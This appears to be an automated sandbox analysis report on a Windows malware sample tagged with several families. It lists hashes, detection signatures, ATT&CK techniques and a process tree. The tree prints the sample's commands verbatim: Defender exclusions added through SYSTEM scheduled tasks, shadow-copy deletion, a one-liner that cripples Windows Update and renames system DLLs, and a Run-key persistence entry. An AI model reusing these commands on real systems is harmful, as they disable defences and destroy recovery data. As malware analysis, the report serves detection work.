947160ae1825ba1872b2e20bcd8dd10b4a82755078da4320ef629d0792a2a7ad

Analysis

max time kernel
106s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/09/2026, 05:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
Size 27.4MB
Sample260913-f8xfcssbme
SHA256 947160ae1825ba1872b2e20bcd8dd10b4a82755078da4320ef629d0792a2a7ad
MD5 1c4d195887cb55add8e2805a0b6dac23
SHA1 f501ffff2921b64a340af6dda721829c779849a6
SHA512 bff07eca3ea6bd335cb57425c275d90c23759d96b3b9c194c9cfcbbe93d0c4b99b99046e2d89b71e4a2c01d74f253a043f610a6f930f654b7dc7e9d8e24ebe31
SSDEEP 98304:YClvSIfRLyyAqu8ntZZffAOHLT0N2LlMJvLfMs7GXhjxTOe1:NlvSIfR9AiZNf9QuCDfMs7GRP
TLSH
T145570816F705CCD7FA16C23548DEDBA06732FCF086A5870733A8671A6FAE2889ED1451
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution exploit persistence upx

Malware Config

Signatures

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/4000-712-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral1/memory/4000-680-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4000-677-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4000-699-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1544-735-0x0000000003CB0000-0x000000000448D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4000-742-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1332-749-0x00000000038C0000-0x000000000409D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4000-768-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4484-821-0x00000000031C0000-0x000000000399D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2184-833-0x00000000038B0000-0x000000000408D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral1/files/0x0009000000024451-840.dat	UPX
behavioral1/memory/212-841-0x0000000000400000-0x000000000053F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4352	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3104	icacls.exe
2300	icacls.exe
3828	icacls.exe
3344	takeown.exe
2236	icacls.exe
820	icacls.exe
3492	icacls.exe
1320	icacls.exe
4832	icacls.exe
3180	icacls.exe
4400	icacls.exe
3304	icacls.exe
4780	icacls.exe
2196	icacls.exe
784	icacls.exe
1608	icacls.exe
1796	icacls.exe
4416	icacls.exe
932	icacls.exe
3608	icacls.exe
1316	icacls.exe
3852	icacls.exe
432	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3524	Z92CQD.exe

Loads dropped DLL 1 IoCs

pid	Process
3524	Z92CQD.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2196	icacls.exe
784	icacls.exe
3344	takeown.exe
1320	icacls.exe
432	takeown.exe
3304	icacls.exe
4780	icacls.exe
1608	icacls.exe
2300	icacls.exe
3828	icacls.exe
3492	icacls.exe
3852	icacls.exe
3180	icacls.exe
4400	icacls.exe
2236	icacls.exe
4416	icacls.exe
932	icacls.exe
820	icacls.exe
3608	icacls.exe
4832	icacls.exe
1316	icacls.exe
3104	icacls.exe
1796	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mHkCXc\\Z92CQD.exe\""	Z92CQD.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5020	cmd.exe
3772	cmd.exe
5092	cmd.exe
1704	cmd.exe
3532	cmd.exe
4384	cmd.exe
4140	cmd.exe
1048	cmd.exe
2512	cmd.exe
1440	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Z92CQD.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000024451-840.dat	upx
behavioral1/memory/212-841-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x000c00000002447f-872.dat	upx
behavioral1/memory/3444-873-0x00007FF6E9650000-0x00007FF6E9A7F000-memory.dmp	upx

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3612	sc.exe
1556	sc.exe
4040	sc.exe
4624	sc.exe
4908	sc.exe
4440	sc.exe
5028	sc.exe
996	sc.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1964	cmd.exe
868	cmd.exe
3328	cmd.exe
1360	cmd.exe
2252	cmd.exe
4880	cmd.exe
4032	cmd.exe
2748	cmd.exe
4528	cmd.exe
1512	cmd.exe
4188	cmd.exe
4928	cmd.exe
2784	cmd.exe
2440	cmd.exe
4640	cmd.exe
2288	cmd.exe
3000	cmd.exe
1652	cmd.exe
4912	cmd.exe
3368	cmd.exe
3888	cmd.exe
636	cmd.exe
3808	cmd.exe
792	cmd.exe
3640	cmd.exe
1508	cmd.exe
5032	cmd.exe
2832	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1648	schtasks.exe
2240	schtasks.exe
4456	schtasks.exe
1280	schtasks.exe
1428	schtasks.exe
780	schtasks.exe
1652	schtasks.exe
820	schtasks.exe
4464	schtasks.exe
4164	schtasks.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
4816	2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe
3524	Z92CQD.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-12_1c4d195887cb55add8e2805a0b6dac23_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_poet-rat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4816

C:\Users\Public\mHkCXc\Z92CQD.exe
C:\Users\Public\mHkCXc\Z92CQD.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mHkCXc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mHkCXc\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4564
- C:\Program Files (x86)\7BuHbw\7BuHbw.exe
  "C:\Program Files (x86)\7BuHbw\7BuHbw.exe"
  2⤵
  PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2440
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4032
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4660
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4040
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4624
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:4944
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4908
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4440
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:2480
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4104
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:5028
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1556
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:1668
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:2740
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3612
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:996
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3180
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3104
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3344
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2300
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4416
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3124
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4352
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\7BuHbw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1440
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\7BuHbw\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:780
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4832
- - C:\Windows\SysWOW64\cmd.exe
